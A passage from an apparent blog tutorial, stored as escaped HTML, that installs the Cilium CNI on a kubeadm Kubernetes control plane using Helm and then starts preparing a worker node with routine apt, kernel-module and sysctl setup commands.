initialized\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIt is clear the problem is that we are missing the CNI. The other way you can find out what is\ngoing on is describing the node:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will have a lot of information but if you scroll through there looking at \u003ccode\u003eReason\u003c/code\u003e you\nmight see something useful. In this case under \u003ccode\u003eLease\u003c/code\u003e you would see:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e describe\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e False\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:37\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun,\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Apr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2022\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:43:07\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -0400\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e KubeletNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e container\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ready:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NetworkReady=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reason:NetworkPluginNotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e message:Network\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e returns\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cni\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e plugin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e initialize\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLet us get our CNI installed, we will be using cilium!\u003c/p\u003e\n\u003ch2\u003eSetting up your CNI!\u003c/h2\u003e\n\u003cp\u003eCilium has great documentation over \u003ca href=\"https://docs.cilium.io/en/v1.9/gettingstarted/k8s-install-kubeadm/\"\u003ehere\u003c/a\u003e,\nbut I will walk you through it anyways. I do recommend checking out their documentation so you\nare familiar with it. We will use \u003ccode\u003ehelm\u003c/code\u003e to pull down the version of cilium we want:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://baltocdn.com/helm/signing.asc\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/helm.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-transport-https\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --yes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://baltocdn.com/helm/stable/debian/ all main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/helm-stable-debian.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we can install cilium! It is \u003cem\u003every\u003c/em\u003e important that you pay attention to the\ncompatibility of cilium with the version of kubernetes you are installing. Check\nthe compatibility list \u003ca href=\"https://docs.cilium.io/en/v1.12/concepts/kubernetes/compatibility/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://helm.cilium.io/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce the repo is added you can list the versions available:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e search\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e repo\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -l\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n8\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \tCHART\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tAPP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\tDESCRIPTION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.12.0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.7\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.6\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.5\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ecilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \t1.11.4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \teBPF-based\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Networking,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Security,\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Observability\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we want \u003ccode\u003e1.11.4\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e helm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cilium/cilium\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-system\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --version\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1.11.4\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow our node should be ready!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 24m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eTime to join our worker to the cluster!\u003c/p\u003e\n\u003ch2\u003eJoining a worker to the cluster!\u003c/h2\u003e\n\u003cp\u003eWe have to go through the same steps as the controlplane to get the point that we have a\ncontainer runtime and \u003ccode\u003ekubeadm\u003c/code\u003e. I am not going to talk about the commands a second time but\nI will re-iterate them here for ease of following along.\u003c/p\u003e\n\u003cp\u003eFirst open up another shell and connect to the worker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e multipass\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e shell\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e worker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow run the following commands:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb http://apt.kubernetes.io/ kubernetes-xenial main\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -fsSL\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e gpg\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --dearmor\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -cs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -ril\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /usr/lib/sysctl.d/\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e grep\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e awk\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sysctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --system\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan 